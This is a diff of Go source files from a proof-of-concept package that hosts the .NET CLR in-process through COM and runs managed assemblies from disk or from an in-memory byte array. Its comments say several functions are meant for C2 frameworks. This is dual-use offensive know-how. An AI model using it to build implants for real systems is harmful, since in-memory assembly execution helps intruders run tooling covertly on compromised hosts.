func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(riid)),
|
||||
uintptr(unsafe.Pointer(ppvObject)))
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *Assembly) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetEntryPoint returns the assembly's MethodInfo
|
||||
// virtual HRESULT __stdcall get_EntryPoint (
|
||||
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
|
||||
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
|
||||
debugPrint("Entering into assembly.GetEntryPoint()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_EntryPoint,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pRetVal)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+367
@@ -0,0 +1,367 @@
|
||||
// +build windows
|
||||
|
||||
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
|
||||
// execute a managed DLL from disk or a managed EXE from memory
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
|
||||
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
|
||||
var runtimes []string
|
||||
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
var hr int
|
||||
for hr != S_FALSE {
|
||||
var runtimeInfo *ICLRRuntimeInfo
|
||||
var fetched = uint32(0)
|
||||
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
|
||||
if err != nil {
|
||||
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
|
||||
}
|
||||
if hr == S_FALSE {
|
||||
break
|
||||
}
|
||||
// Only release if an interface pointer was returned
|
||||
runtimeInfo.Release()
|
||||
|
||||
version, err := runtimeInfo.GetVersionString()
|
||||
if err != nil {
|
||||
return runtimes, err
|
||||
}
|
||||
runtimes = append(runtimes, version)
|
||||
}
|
||||
if len(runtimes) == 0 {
|
||||
return runtimes, fmt.Errorf("Could not find any installed runtimes")
|
||||
}
|
||||
return runtimes, err
|
||||
}
|
||||
|
||||
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
|
||||
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
|
||||
// and Argument to use as strings. It returns the return code from the assembly
|
||||
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
|
||||
must(err)
|
||||
pTypeName, err := syscall.UTF16PtrFromString(typeName)
|
||||
must(err)
|
||||
pMethodName, err := syscall.UTF16PtrFromString(methodName)
|
||||
must(err)
|
||||
pArgument, err := syscall.UTF16PtrFromString(argument)
|
||||
must(err)
|
||||
|
||||
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
|
||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
|
||||
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
|
||||
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
|
||||
// You can supply an array of strings as command line arguments.
|
||||
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain.Release()
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
|
||||
return GetICORRuntimeHost(runtimeInfo)
|
||||
}
|
||||
|
||||
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
|
||||
// loads the assembly into, executes the assembly, and then releases AppDomain
|
||||
// Intended to be used by C2 frameworks to quickly execute an assembly one time
|
||||
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly.Release()
|
||||
appDomain.Release()
|
||||
return
|
||||
}
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return assembly.GetEntryPoint()
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
defer SafeArrayDestroy(paramSafeArray)
|
||||
|
||||
// Ensure exclusive access to read/write STDOUT/STDERR
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
// Don't return because there could be data on STDOUT/STDERR
|
||||
}
|
||||
|
||||
// Read data from previously redirected STDOUT/STDERR
|
||||
if wSTDOUT != nil {
|
||||
var e string
|
||||
stdout, e, err = ReadStdoutStderr()
|
||||
stderr += e
|
||||
if err != nil {
|
||||
stderr += err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
|
||||
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
|
||||
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
|
||||
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
|
||||
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
|
||||
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
)
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package clr
|
||||
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
|
||||
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
|
||||
|
||||
const (
|
||||
S_OK = 0x00
|
||||
S_FALSE = 0x01
|
||||
// COR_E_TARGETINVOCATION is TargetInvocationException
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
|
||||
COR_E_TARGETINVOCATION uint32 = 0x80131604
|
||||
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
|
||||
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
|
||||
// COR_E_BADIMAGEFORMAT is BadImageFormatException
|
||||
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
|
||||
// DISP_E_BADPARAMCOUNT is invalid number of parameters
|
||||
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
|
||||
// E_POINTER Pointer that is not valid
|
||||
E_POINTER uint32 = 0x80004003
|
||||
// E_NOINTERFACE No such interface supported
|
||||
E_NOINTERFACE uint32 = 0x80004002
|
||||
)
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Couldnt have done any of this without this SO answer I stumbled on:
|
||||
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
|
||||
|
||||
//ICLRMetaHost Interface from metahost.h
|
||||
type ICLRMetaHost struct {
|
||||
vtbl *ICLRMetaHostVtbl
|
||||
}
|
||||
|
||||
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
|
||||
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
|
||||
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
|
||||
// shutdown, and query legacy API binding.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
|
||||
type ICLRMetaHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
GetRuntime uintptr
|
||||
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
|
||||
// given its file path. This method supersedes GetFileVersion.
|
||||
GetVersionFromFile uintptr
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR version that is installed on a computer.
|
||||
EnumerateInstalledRuntimes uintptr
|
||||
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
|
||||
EnumerateLoadedRuntimes uintptr
|
||||
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
|
||||
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
|
||||
RequestRuntimeLoadedNotification uintptr
|
||||
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
|
||||
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
|
||||
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
|
||||
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
|
||||
QueryLegacyV2RuntimeBinding uintptr
|
||||
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
|
||||
ExitProcess uintptr
|
||||
}
|
||||
|
||||
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
|
||||
// HRESULT CLRCreateInstance(
|
||||
// [in] REFCLSID clsid,
|
||||
// [in] REFIID riid,
|
||||
// [out] LPVOID * ppInterface
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
|
||||
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
|
||||
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
|
||||
|
||||
if clsid != CLSID_CLRMetaHost {
|
||||
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
|
||||
return
|
||||
}
|
||||
|
||||
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
|
||||
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
|
||||
|
||||
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
|
||||
hr, _, err := procCLRCreateInstance.Call(
|
||||
uintptr(unsafe.Pointer(&clsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(unsafe.Pointer(&ppInterface)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
|
||||
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
|
||||
// version of the common language runtime (CLR) that is installed on a computer.
|
||||
// HRESULT EnumerateInstalledRuntimes (
|
||||
// [out, retval] IEnumUnknown **ppEnumerator);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
|
||||
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
|
||||
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumerateInstalledRuntimes,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&ppEnumerator)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
// HRESULT GetRuntime (
|
||||
// [in] LPCWSTR pwzVersion,
|
||||
// [in] REFIID riid,
|
||||
// [out,iid_is(riid), retval] LPVOID *ppRuntime
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
|
||||
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
|
||||
debugPrint("Entering into iclrmetahost.GetRuntime()...")
|
||||
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetRuntime,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzVersion)),
|
||||
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
|
||||
uintptr(unsafe.Pointer(&ppRuntime)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type ICLRRuntimeHost struct {
|
||||
vtbl *ICLRRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
|
||||
// provided in the .NET Framework version 1, with the following changes
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
|
||||
type ICLRRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Start Initializes the CLR into a process.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code by the runtime.
|
||||
Stop uintptr
|
||||
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
|
||||
SetHostControl uintptr
|
||||
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
|
||||
// aspects of the common language runtime (CLR).
|
||||
GetCLRControl uintptr
|
||||
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
|
||||
UnloadAppDomain uintptr
|
||||
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
|
||||
ExecuteInAppDomain uintptr
|
||||
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
|
||||
GetCurrentAppDomainId uintptr
|
||||
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
|
||||
// to be activated in a new domain.
|
||||
ExecuteApplication uintptr
|
||||
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
|
||||
ExecuteInDefaultAppDomain uintptr
|
||||
}
|
||||
|
||||
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
|
||||
// returns an ICLRRuntimeHost and loads it into the current process
|
||||
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
|
||||
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
|
||||
var runtimeHost *ICLRRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start Initializes the common language runtime (CLR) into a process.
|
||||
// HRESULT Start();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
|
||||
func (obj *ICLRRuntimeHost) Start() error {
|
||||
debugPrint("Entering into iclrruntimehost.Start()...")
|
||||
